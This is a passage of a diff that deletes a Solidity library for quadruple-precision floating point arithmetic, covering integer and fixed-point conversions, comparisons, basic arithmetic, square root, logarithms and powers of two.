0x7FFF8000000000000000000000000000; - - /** - * Convert signed 256-bit integer number into quadruple precision number. - * - * @param x signed 256-bit integer number - * @return quadruple precision number - */ - function fromInt(int256 x) internal pure returns (bytes16) { - unchecked { - if (x == 0) return bytes16(0); - else { - // We rely on overflow behavior here - uint256 result = uint256(x > 0 ? x : -x); - - uint256 msb = mostSignificantBit(result); - if (msb < 112) result <<= 112 - msb; - else if (msb > 112) result >>= msb - 112; - - result = - (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - ((16383 + msb) << 112); - if (x < 0) result |= 0x80000000000000000000000000000000; - - return bytes16(uint128(result)); - } - } - } - - /** - * Convert quadruple precision number into signed 256-bit integer number - * rounding towards zero. Revert on overflow. - * - * @param x quadruple precision number - * @return signed 256-bit integer number - */ - function toInt(bytes16 x) internal pure returns (int256) { - unchecked { - uint256 exponent = (uint128(x) >> 112) & 0x7FFF; - - require(exponent <= 16638); // Overflow - if (exponent < 16383) return 0; // Underflow - - uint256 result = (uint256(uint128(x)) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - 0x10000000000000000000000000000; - - if (exponent < 16495) result >>= 16495 - exponent; - else if (exponent > 16495) result <<= exponent - 16495; - - if (uint128(x) >= 0x80000000000000000000000000000000) { - // Negative - require( - result <= - 0x8000000000000000000000000000000000000000000000000000000000000000 - ); - return -int256(result); // We rely on overflow behavior here - } else { - require( - result <= - 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - ); - return int256(result); - } - } - } - - /** - * Convert unsigned 256-bit integer number into quadruple precision number. - * - * @param x unsigned 256-bit integer number - * @return quadruple precision number - */ - function fromUInt(uint256 x) internal pure returns (bytes16) { - unchecked { - if (x == 0) return bytes16(0); - else { - uint256 result = x; - - uint256 msb = mostSignificantBit(result); - if (msb < 112) result <<= 112 - msb; - else if (msb > 112) result >>= msb - 112; - - result = - (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - ((16383 + msb) << 112); - - return bytes16(uint128(result)); - } - } - } - - /** - * Convert quadruple precision number into unsigned 256-bit integer number - * rounding towards zero. Revert on underflow. Note, that negative floating - * point numbers in range (-1.0 .. 0.0) may be converted to unsigned integer - * without error, because they are rounded to zero. - * - * @param x quadruple precision number - * @return unsigned 256-bit integer number - */ - function toUInt(bytes16 x) internal pure returns (uint256) { - unchecked { - uint256 exponent = (uint128(x) >> 112) & 0x7FFF; - - if (exponent < 16383) return 0; // Underflow - - require(uint128(x) < 0x80000000000000000000000000000000); // Negative - - require(exponent <= 16638); // Overflow - uint256 result = (uint256(uint128(x)) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - 0x10000000000000000000000000000; - - if (exponent < 16495) result >>= 16495 - exponent; - else if (exponent > 16495) result <<= exponent - 16495; - - return result; - } - } - - /** - * Convert signed 128.128 bit fixed point number into quadruple precision - * number. - * - * @param x signed 128.128 bit fixed point number - * @return quadruple precision number - */ - function from128x128(int256 x) internal pure returns (bytes16) { - unchecked { - if (x == 0) return bytes16(0); - else { - // We rely on overflow behavior here - uint256 result = uint256(x > 0 ? x : -x); - - uint256 msb = mostSignificantBit(result); - if (msb < 112) result <<= 112 - msb; - else if (msb > 112) result >>= msb - 112; - - result = - (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - ((16255 + msb) << 112); - if (x < 0) result |= 0x80000000000000000000000000000000; - - return bytes16(uint128(result)); - } - } - } - - /** - * Convert quadruple precision number into signed 128.128 bit fixed point - * number. Revert on overflow. - * - * @param x quadruple precision number - * @return signed 128.128 bit fixed point number - */ - function to128x128(bytes16 x) internal pure returns (int256) { - unchecked { - uint256 exponent = (uint128(x) >> 112) & 0x7FFF; - - require(exponent <= 16510); // Overflow - if (exponent < 16255) return 0; // Underflow - - uint256 result = (uint256(uint128(x)) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - 0x10000000000000000000000000000; - - if (exponent < 16367) result >>= 16367 - exponent; - else if (exponent > 16367) result <<= exponent - 16367; - - if (uint128(x) >= 0x80000000000000000000000000000000) { - // Negative - require( - result <= - 0x8000000000000000000000000000000000000000000000000000000000000000 - ); - return -int256(result); // We rely on overflow behavior here - } else { - require( - result <= - 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - ); - return int256(result); - } - } - } - - /** - * Convert signed 64.64 bit fixed point number into quadruple precision - * number. - * - * @param x signed 64.64 bit fixed point number - * @return quadruple precision number - */ - function from64x64(int128 x) internal pure returns (bytes16) { - unchecked { - if (x == 0) return bytes16(0); - else { - // We rely on overflow behavior here - uint256 result = uint128(x > 0 ? x : -x); - - uint256 msb = mostSignificantBit(result); - if (msb < 112) result <<= 112 - msb; - else if (msb > 112) result >>= msb - 112; - - result = - (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - ((16319 + msb) << 112); - if (x < 0) result |= 0x80000000000000000000000000000000; - - return bytes16(uint128(result)); - } - } - } - - /** - * Convert quadruple precision number into signed 64.64 bit fixed point - * number. Revert on overflow. - * - * @param x quadruple precision number - * @return signed 64.64 bit fixed point number - */ - function to64x64(bytes16 x) internal pure returns (int128) { - unchecked { - uint256 exponent = (uint128(x) >> 112) & 0x7FFF; - - require(exponent <= 16446); // Overflow - if (exponent < 16319) return 0; // Underflow - - uint256 result = (uint256(uint128(x)) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) | - 0x10000000000000000000000000000; - - if (exponent < 16431) result >>= 16431 - exponent; - else if (exponent > 16431) result <<= exponent - 16431; - - if (uint128(x) >= 0x80000000000000000000000000000000) { - // Negative - require(result <= 0x80000000000000000000000000000000); - return -int128(int256(result)); // We rely on overflow behavior here - } else { - require(result <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); - return int128(int256(result)); - } - } - } - - /** - * Convert octuple precision number into quadruple precision number. - * - * @param x octuple precision number - * @return quadruple precision number - */ - function fromOctuple(bytes32 x) internal pure returns (bytes16) { - unchecked { - bool negative = x & - 0x8000000000000000000000000000000000000000000000000000000000000000 > - 0; - - uint256 exponent = (uint256(x) >> 236) & 0x7FFFF; - uint256 significand = uint256(x) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - if (exponent == 0x7FFFF) { - if (significand > 0) return NaN; - else return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY; - } - - if (exponent > 278526) - return negative ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY; - else if (exponent < 245649) - return negative ? _NEGATIVE_ZERO : _POSITIVE_ZERO; - else if (exponent < 245761) { - significand = - (significand | - 0x100000000000000000000000000000000000000000000000000000000000) >> - (245885 - exponent); - exponent = 0; - } else { - significand >>= 124; - exponent -= 245760; - } - - uint128 result = uint128(significand | (exponent << 112)); - if (negative) result |= 0x80000000000000000000000000000000; - - return bytes16(result); - } - } - - /** - * Convert quadruple precision number into octuple precision number. - * - * @param x quadruple precision number - * @return octuple precision number - */ - function toOctuple(bytes16 x) internal pure returns (bytes32) { - unchecked { - uint256 exponent = (uint128(x) >> 112) & 0x7FFF; - - uint256 result = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - if (exponent == 0x7FFF) - exponent = 0x7FFFF; // Infinity or NaN - else if (exponent == 0) { - if (result > 0) { - uint256 msb = mostSignificantBit(result); - result = - (result << (236 - msb)) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - exponent = 245649 + msb; - } - } else { - result <<= 124; - exponent += 245760; - } - - result |= exponent << 236; - if (uint128(x) >= 0x80000000000000000000000000000000) - result |= 0x8000000000000000000000000000000000000000000000000000000000000000; - - return bytes32(result); - } - } - - /** - * Convert double precision number into quadruple precision number. - * - * @param x double precision number - * @return quadruple precision number - */ - function fromDouble(bytes8 x) internal pure returns (bytes16) { - unchecked { - uint256 exponent = (uint64(x) >> 52) & 0x7FF; - - uint256 result = uint64(x) & 0xFFFFFFFFFFFFF; - - if (exponent == 0x7FF) - exponent = 0x7FFF; // Infinity or NaN - else if (exponent == 0) { - if (result > 0) { - uint256 msb = mostSignificantBit(result); - result = - (result << (112 - msb)) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - exponent = 15309 + msb; - } - } else { - result <<= 60; - exponent += 15360; - } - - result |= exponent << 112; - if (x & 0x8000000000000000 > 0) - result |= 0x80000000000000000000000000000000; - - return bytes16(uint128(result)); - } - } - - /** - * Convert quadruple precision number into double precision number. - * - * @param x quadruple precision number - * @return double precision number - */ - function toDouble(bytes16 x) internal pure returns (bytes8) { - unchecked { - bool negative = uint128(x) >= 0x80000000000000000000000000000000; - - uint256 exponent = (uint128(x) >> 112) & 0x7FFF; - uint256 significand = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - if (exponent == 0x7FFF) { - if (significand > 0) return 0x7FF8000000000000; - // NaN - else - return - negative - ? bytes8(0xFFF0000000000000) // -Infinity - : bytes8(0x7FF0000000000000); // Infinity - } - - if (exponent > 17406) - return - negative - ? bytes8(0xFFF0000000000000) // -Infinity - : bytes8(0x7FF0000000000000); - // Infinity - else if (exponent < 15309) - return - negative - ? bytes8(0x8000000000000000) // -0 - : bytes8(0x0000000000000000); - // 0 - else if (exponent < 15361) { - significand = - (significand | 0x10000000000000000000000000000) >> - (15421 - exponent); - exponent = 0; - } else { - significand >>= 60; - exponent -= 15360; - } - - uint64 result = uint64(significand | (exponent << 52)); - if (negative) result |= 0x8000000000000000; - - return bytes8(result); - } - } - - /** - * Test whether given quadruple precision number is NaN. - * - * @param x quadruple precision number - * @return true if x is NaN, false otherwise - */ - function isNaN(bytes16 x) internal pure returns (bool) { - unchecked { - return - uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF > - 0x7FFF0000000000000000000000000000; - } - } - - /** - * Test whether given quadruple precision number is positive or negative - * infinity. - * - * @param x quadruple precision number - * @return true if x is positive or negative infinity, false otherwise - */ - function isInfinity(bytes16 x) internal pure returns (bool) { - unchecked { - return - uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == - 0x7FFF0000000000000000000000000000; - } - } - - /** - * Calculate sign of x, i.e. -1 if x is negative, 0 if x if zero, and 1 if x - * is positive. Note that sign (-0) is zero. Revert if x is NaN. - * - * @param x quadruple precision number - * @return sign of x - */ - function sign(bytes16 x) internal pure returns (int8) { - unchecked { - uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN - - if (absoluteX == 0) return 0; - else if (uint128(x) >= 0x80000000000000000000000000000000) - return -1; - else return 1; - } - } - - /** - * Calculate sign (x - y). Revert if either argument is NaN, or both - * arguments are infinities of the same sign. - * - * @param x quadruple precision number - * @param y quadruple precision number - * @return sign (x - y) - */ - function cmp(bytes16 x, bytes16 y) internal pure returns (int8) { - unchecked { - uint128 absoluteX = uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - require(absoluteX <= 0x7FFF0000000000000000000000000000); // Not NaN - - uint128 absoluteY = uint128(y) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - require(absoluteY <= 0x7FFF0000000000000000000000000000); // Not NaN - - // Not infinities of the same sign - require(x != y || absoluteX < 0x7FFF0000000000000000000000000000); - - if (x == y) return 0; - else { - bool negativeX = uint128(x) >= - 0x80000000000000000000000000000000; - bool negativeY = uint128(y) >= - 0x80000000000000000000000000000000; - - if (negativeX) { - if (negativeY) return absoluteX > absoluteY ? -1 : int8(1); - else return -1; - } else { - if (negativeY) return 1; - else return absoluteX > absoluteY ? int8(1) : -1; - } - } - } - } - - /** - * Test whether x equals y. NaN, infinity, and -infinity are not equal to - * anything. - * - * @param x quadruple precision number - * @param y quadruple precision number - * @return true if x equals to y, false otherwise - */ - function eq(bytes16 x, bytes16 y) internal pure returns (bool) { - unchecked { - if (x == y) { - return - uint128(x) & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF < - 0x7FFF0000000000000000000000000000; - } else return false; - } - } - - /** - * Calculate x + y. Special values behave in the following way: - * - * NaN + x = NaN for any x. - * Infinity + x = Infinity for any finite x. - * -Infinity + x = -Infinity for any finite x. - * Infinity + Infinity = Infinity. - * -Infinity + -Infinity = -Infinity. - * Infinity + -Infinity = -Infinity + Infinity = NaN. - * - * @param x quadruple precision number - * @param y quadruple precision number - * @return quadruple precision number - */ - function add(bytes16 x, bytes16 y) internal pure returns (bytes16) { - unchecked { - uint256 xExponent = (uint128(x) >> 112) & 0x7FFF; - uint256 yExponent = (uint128(y) >> 112) & 0x7FFF; - - if (xExponent == 0x7FFF) { - if (yExponent == 0x7FFF) { - if (x == y) return x; - else return NaN; - } else return x; - } else if (yExponent == 0x7FFF) return y; - else { - bool xSign = uint128(x) >= 0x80000000000000000000000000000000; - uint256 xSignifier = uint128(x) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (xExponent == 0) xExponent = 1; - else xSignifier |= 0x10000000000000000000000000000; - - bool ySign = uint128(y) >= 0x80000000000000000000000000000000; - uint256 ySignifier = uint128(y) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (yExponent == 0) yExponent = 1; - else ySignifier |= 0x10000000000000000000000000000; - - if (xSignifier == 0) - return y == _NEGATIVE_ZERO ? _POSITIVE_ZERO : y; - else if (ySignifier == 0) - return x == _NEGATIVE_ZERO ? _POSITIVE_ZERO : x; - else { - int256 delta = int256(xExponent) - int256(yExponent); - - if (xSign == ySign) { - if (delta > 112) return x; - else if (delta > 0) ySignifier >>= uint256(delta); - else if (delta < -112) return y; - else if (delta < 0) { - xSignifier >>= uint256(-delta); - xExponent = yExponent; - } - - xSignifier += ySignifier; - - if (xSignifier >= 0x20000000000000000000000000000) { - xSignifier >>= 1; - xExponent += 1; - } - - if (xExponent == 0x7FFF) - return - xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY; - else { - if (xSignifier < 0x10000000000000000000000000000) - xExponent = 0; - else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - return - bytes16( - uint128( - ( - xSign - ? 0x80000000000000000000000000000000 - : 0 - ) | - (xExponent << 112) | - xSignifier - ) - ); - } - } else { - if (delta > 0) { - xSignifier <<= 1; - xExponent -= 1; - } else if (delta < 0) { - ySignifier <<= 1; - xExponent = yExponent - 1; - } - - if (delta > 112) ySignifier = 1; - else if (delta > 1) - ySignifier = - ((ySignifier - 1) >> uint256(delta - 1)) + - 1; - else if (delta < -112) xSignifier = 1; - else if (delta < -1) - xSignifier = - ((xSignifier - 1) >> uint256(-delta - 1)) + - 1; - - if (xSignifier >= ySignifier) xSignifier -= ySignifier; - else { - xSignifier = ySignifier - xSignifier; - xSign = ySign; - } - - if (xSignifier == 0) return _POSITIVE_ZERO; - - uint256 msb = mostSignificantBit(xSignifier); - - if (msb == 113) { - xSignifier = - (xSignifier >> 1) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - xExponent += 1; - } else if (msb < 112) { - uint256 shift = 112 - msb; - if (xExponent > shift) { - xSignifier = - (xSignifier << shift) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - xExponent -= shift; - } else { - xSignifier <<= xExponent - 1; - xExponent = 0; - } - } else xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - if (xExponent == 0x7FFF) - return - xSign ? _NEGATIVE_INFINITY : _POSITIVE_INFINITY; - else - return - bytes16( - uint128( - ( - xSign - ? 0x80000000000000000000000000000000 - : 0 - ) | - (xExponent << 112) | - xSignifier - ) - ); - } - } - } - } - } - - /** - * Calculate x - y. Special values behave in the following way: - * - * NaN - x = NaN for any x. - * Infinity - x = Infinity for any finite x. - * -Infinity - x = -Infinity for any finite x. - * Infinity - -Infinity = Infinity. - * -Infinity - Infinity = -Infinity. - * Infinity - Infinity = -Infinity - -Infinity = NaN. - * - * @param x quadruple precision number - * @param y quadruple precision number - * @return quadruple precision number - */ - function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) { - unchecked { - return add(x, y ^ 0x80000000000000000000000000000000); - } - } - - /** - * Calculate x * y. Special values behave in the following way: - * - * NaN * x = NaN for any x. - * Infinity * x = Infinity for any finite positive x. - * Infinity * x = -Infinity for any finite negative x. - * -Infinity * x = -Infinity for any finite positive x. - * -Infinity * x = Infinity for any finite negative x. - * Infinity * 0 = NaN. - * -Infinity * 0 = NaN. - * Infinity * Infinity = Infinity. - * Infinity * -Infinity = -Infinity. - * -Infinity * Infinity = -Infinity. - * -Infinity * -Infinity = Infinity. - * - * @param x quadruple precision number - * @param y quadruple precision number - * @return quadruple precision number - */ - function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) { - unchecked { - uint256 xExponent = (uint128(x) >> 112) & 0x7FFF; - uint256 yExponent = (uint128(y) >> 112) & 0x7FFF; - - if (xExponent == 0x7FFF) { - if (yExponent == 0x7FFF) { - if (x == y) - return x ^ (y & 0x80000000000000000000000000000000); - else if (x ^ y == 0x80000000000000000000000000000000) - return x | y; - else return NaN; - } else { - if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN; - else return x ^ (y & 0x80000000000000000000000000000000); - } - } else if (yExponent == 0x7FFF) { - if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN; - else return y ^ (x & 0x80000000000000000000000000000000); - } else { - uint256 xSignifier = uint128(x) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (xExponent == 0) xExponent = 1; - else xSignifier |= 0x10000000000000000000000000000; - - uint256 ySignifier = uint128(y) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (yExponent == 0) yExponent = 1; - else ySignifier |= 0x10000000000000000000000000000; - - xSignifier *= ySignifier; - if (xSignifier == 0) - return - (x ^ y) & 0x80000000000000000000000000000000 > 0 - ? _NEGATIVE_ZERO - : _POSITIVE_ZERO; - - xExponent += yExponent; - - uint256 msb = xSignifier >= - 0x200000000000000000000000000000000000000000000000000000000 - ? 225 - : xSignifier >= - 0x100000000000000000000000000000000000000000000000000000000 - ? 224 - : mostSignificantBit(xSignifier); - - if (xExponent + msb < 16496) { - // Underflow - xExponent = 0; - xSignifier = 0; - } else if (xExponent + msb < 16608) { - // Subnormal - if (xExponent < 16496) xSignifier >>= 16496 - xExponent; - else if (xExponent > 16496) - xSignifier <<= xExponent - 16496; - xExponent = 0; - } else if (xExponent + msb > 49373) { - xExponent = 0x7FFF; - xSignifier = 0; - } else { - if (msb > 112) xSignifier >>= msb - 112; - else if (msb < 112) xSignifier <<= 112 - msb; - - xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - xExponent = xExponent + msb - 16607; - } - - return - bytes16( - uint128( - uint128( - (x ^ y) & 0x80000000000000000000000000000000 - ) | - (xExponent << 112) | - xSignifier - ) - ); - } - } - } - - /** - * Calculate x / y. Special values behave in the following way: - * - * NaN / x = NaN for any x. - * x / NaN = NaN for any x. - * Infinity / x = Infinity for any finite non-negative x. - * Infinity / x = -Infinity for any finite negative x including -0. - * -Infinity / x = -Infinity for any finite non-negative x. - * -Infinity / x = Infinity for any finite negative x including -0. - * x / Infinity = 0 for any finite non-negative x. - * x / -Infinity = -0 for any finite non-negative x. - * x / Infinity = -0 for any finite non-negative x including -0. - * x / -Infinity = 0 for any finite non-negative x including -0. - * - * Infinity / Infinity = NaN. - * Infinity / -Infinity = -NaN. - * -Infinity / Infinity = -NaN. - * -Infinity / -Infinity = NaN. - * - * Division by zero behaves in the following way: - * - * x / 0 = Infinity for any finite positive x. - * x / -0 = -Infinity for any finite positive x. - * x / 0 = -Infinity for any finite negative x. - * x / -0 = Infinity for any finite negative x. - * 0 / 0 = NaN. - * 0 / -0 = NaN. - * -0 / 0 = NaN. - * -0 / -0 = NaN. - * - * @param x quadruple precision number - * @param y quadruple precision number - * @return quadruple precision number - */ - function div(bytes16 x, bytes16 y) internal pure returns (bytes16) { - unchecked { - uint256 xExponent = (uint128(x) >> 112) & 0x7FFF; - uint256 yExponent = (uint128(y) >> 112) & 0x7FFF; - - if (xExponent == 0x7FFF) { - if (yExponent == 0x7FFF) return NaN; - else return x ^ (y & 0x80000000000000000000000000000000); - } else if (yExponent == 0x7FFF) { - if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN; - else - return - _POSITIVE_ZERO | - ((x ^ y) & 0x80000000000000000000000000000000); - } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) { - if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN; - else - return - _POSITIVE_INFINITY | - ((x ^ y) & 0x80000000000000000000000000000000); - } else { - uint256 ySignifier = uint128(y) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (yExponent == 0) yExponent = 1; - else ySignifier |= 0x10000000000000000000000000000; - - uint256 xSignifier = uint128(x) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (xExponent == 0) { - if (xSignifier != 0) { - uint256 shift = 226 - mostSignificantBit(xSignifier); - - xSignifier <<= shift; - - xExponent = 1; - yExponent += shift - 114; - } - } else { - xSignifier = - (xSignifier | 0x10000000000000000000000000000) << - 114; - } - - xSignifier = xSignifier / ySignifier; - if (xSignifier == 0) - return - (x ^ y) & 0x80000000000000000000000000000000 > 0 - ? _NEGATIVE_ZERO - : _POSITIVE_ZERO; - - assert(xSignifier >= 0x1000000000000000000000000000); - - uint256 msb = xSignifier >= 0x80000000000000000000000000000 - ? mostSignificantBit(xSignifier) - : xSignifier >= 0x40000000000000000000000000000 - ? 114 - : xSignifier >= 0x20000000000000000000000000000 - ? 113 - : 112; - - if (xExponent + msb > yExponent + 16497) { - // Overflow - xExponent = 0x7FFF; - xSignifier = 0; - } else if (xExponent + msb + 16380 < yExponent) { - // Underflow - xExponent = 0; - xSignifier = 0; - } else if (xExponent + msb + 16268 < yExponent) { - // Subnormal - if (xExponent + 16380 > yExponent) - xSignifier <<= xExponent + 16380 - yExponent; - else if (xExponent + 16380 < yExponent) - xSignifier >>= yExponent - xExponent - 16380; - - xExponent = 0; - } else { - // Normal - if (msb > 112) xSignifier >>= msb - 112; - - xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - xExponent = xExponent + msb + 16269 - yExponent; - } - - return - bytes16( - uint128( - uint128( - (x ^ y) & 0x80000000000000000000000000000000 - ) | - (xExponent << 112) | - xSignifier - ) - ); - } - } - } - - /** - * Calculate -x. - * - * @param x quadruple precision number - * @return quadruple precision number - */ - function neg(bytes16 x) internal pure returns (bytes16) { - unchecked { - return x ^ 0x80000000000000000000000000000000; - } - } - - /** - * Calculate |x|. - * - * @param x quadruple precision number - * @return quadruple precision number - */ - function abs(bytes16 x) internal pure returns (bytes16) { - unchecked { - return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - } - } - - /** - * Calculate square root of x. Return NaN on negative x excluding -0. - * - * @param x quadruple precision number - * @return quadruple precision number - */ - function sqrt(bytes16 x) internal pure returns (bytes16) { - unchecked { - if (uint128(x) > 0x80000000000000000000000000000000) return NaN; - else { - uint256 xExponent = (uint128(x) >> 112) & 0x7FFF; - if (xExponent == 0x7FFF) return x; - else { - uint256 xSignifier = uint128(x) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (xExponent == 0) xExponent = 1; - else xSignifier |= 0x10000000000000000000000000000; - - if (xSignifier == 0) return _POSITIVE_ZERO; - - bool oddExponent = xExponent & 0x1 == 0; - xExponent = (xExponent + 16383) >> 1; - - if (oddExponent) { - if (xSignifier >= 0x10000000000000000000000000000) - xSignifier <<= 113; - else { - uint256 msb = mostSignificantBit(xSignifier); - uint256 shift = (226 - msb) & 0xFE; - xSignifier <<= shift; - xExponent -= (shift - 112) >> 1; - } - } else { - if (xSignifier >= 0x10000000000000000000000000000) - xSignifier <<= 112; - else { - uint256 msb = mostSignificantBit(xSignifier); - uint256 shift = (225 - msb) & 0xFE; - xSignifier <<= shift; - xExponent -= (shift - 112) >> 1; - } - } - - uint256 r = 0x10000000000000000000000000000; - r = (r + xSignifier / r) >> 1; - r = (r + xSignifier / r) >> 1; - r = (r + xSignifier / r) >> 1; - r = (r + xSignifier / r) >> 1; - r = (r + xSignifier / r) >> 1; - r = (r + xSignifier / r) >> 1; - r = (r + xSignifier / r) >> 1; // Seven iterations should be enough - uint256 r1 = xSignifier / r; - if (r1 < r) r = r1; - - return - bytes16( - uint128( - (xExponent << 112) | - (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) - ) - ); - } - } - } - } - - /** - * Calculate binary logarithm of x. Return NaN on negative x excluding -0. - * - * @param x quadruple precision number - * @return quadruple precision number - */ - function log_2(bytes16 x) internal pure returns (bytes16) { - unchecked { - if (uint128(x) > 0x80000000000000000000000000000000) return NaN; - else if (x == 0x3FFF0000000000000000000000000000) - return _POSITIVE_ZERO; - else { - uint256 xExponent = (uint128(x) >> 112) & 0x7FFF; - if (xExponent == 0x7FFF) return x; - else { - uint256 xSignifier = uint128(x) & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (xExponent == 0) xExponent = 1; - else xSignifier |= 0x10000000000000000000000000000; - - if (xSignifier == 0) return _NEGATIVE_INFINITY; - - bool resultNegative; - uint256 resultExponent = 16495; - uint256 resultSignifier; - - if (xExponent >= 0x3FFF) { - resultNegative = false; - resultSignifier = xExponent - 0x3FFF; - xSignifier <<= 15; - } else { - resultNegative = true; - if (xSignifier >= 0x10000000000000000000000000000) { - resultSignifier = 0x3FFE - xExponent; - xSignifier <<= 15; - } else { - uint256 msb = mostSignificantBit(xSignifier); - resultSignifier = 16493 - msb; - xSignifier <<= 127 - msb; - } - } - - if (xSignifier == 0x80000000000000000000000000000000) { - if (resultNegative) resultSignifier += 1; - uint256 shift = 112 - - mostSignificantBit(resultSignifier); - resultSignifier <<= shift; - resultExponent -= shift; - } else { - uint256 bb = resultNegative ? 1 : 0; - while ( - resultSignifier < 0x10000000000000000000000000000 - ) { - resultSignifier <<= 1; - resultExponent -= 1; - - xSignifier *= xSignifier; - uint256 b = xSignifier >> 255; - resultSignifier += b ^ bb; - xSignifier >>= 127 + b; - } - } - - return - bytes16( - uint128( - ( - resultNegative - ? 0x80000000000000000000000000000000 - : 0 - ) | - (resultExponent << 112) | - (resultSignifier & - 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) - ) - ); - } - } - } - } - - /** - * Calculate natural logarithm of x. Return NaN on negative x excluding -0. - * - * @param x quadruple precision number - * @return quadruple precision number - */ - function ln(bytes16 x) internal pure returns (bytes16) { - unchecked { - return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5); - } - } - - /** - * Calculate 2^x. - * - * @param x quadruple precision number - * @return quadruple precision number - */ - function pow_2(bytes16 x) internal pure returns (bytes16) { - unchecked { - bool xNegative = uint128(x) > 0x80000000000000000000000000000000; - uint256 xExponent = (uint128(x) >> 112) & 0x7FFF; - uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - - if (xExponent == 0x7FFF && xSignifier != 0) return NaN; - else if (xExponent > 16397) - return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY; - else if (xExponent < 16255) - return 0x3FFF0000000000000000000000000000; - else { - if (xExponent == 0) xExponent = 1; - else xSignifier |= 0x10000000000000000000000000000; - - if (xExponent > 16367) xSignifier <<= xExponent - 16367; - else if (xExponent < 16367) xSignifier >>= 16367 - xExponent; - - if ( - xNegative && - xSignifier > 0x406E00000000000000000000000000000000 - ) return _POSITIVE_ZERO; - - if ( - !xNegative && - xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF - ) return _POSITIVE_INFINITY; - - uint256 resultExponent = xSignifier >> 128; - xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; - if (xNegative && xSignifier != 0) { - xSignifier = ~xSignifier; - resultExponent += 1; - } - - uint256 resultSignifier = 0x80000000000000000000000000000000; - if (xSignifier & 0x80000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x16A09E667F3BCC908B2FB1366EA957D3E) >> - 128; - if (xSignifier & 0x40000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1306FE0A31B7152DE8D5A46305C85EDEC) >> - 128; - if (xSignifier & 0x20000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1172B83C7D517ADCDF7C8C50EB14A791F) >> - 128; - if (xSignifier & 0x10000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10B5586CF9890F6298B92B71842A98363) >> - 128; - if (xSignifier & 0x8000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x1059B0D31585743AE7C548EB68CA417FD) >> - 128; - if (xSignifier & 0x4000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >> - 128; - if (xSignifier & 0x2000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 0x10163DA9FB33356D84A66AE336DCDFA3F) >> - 128; - if (xSignifier & 0x1000000000000000000000000000000 > 0) - resultSignifier = - (resultSignifier * - 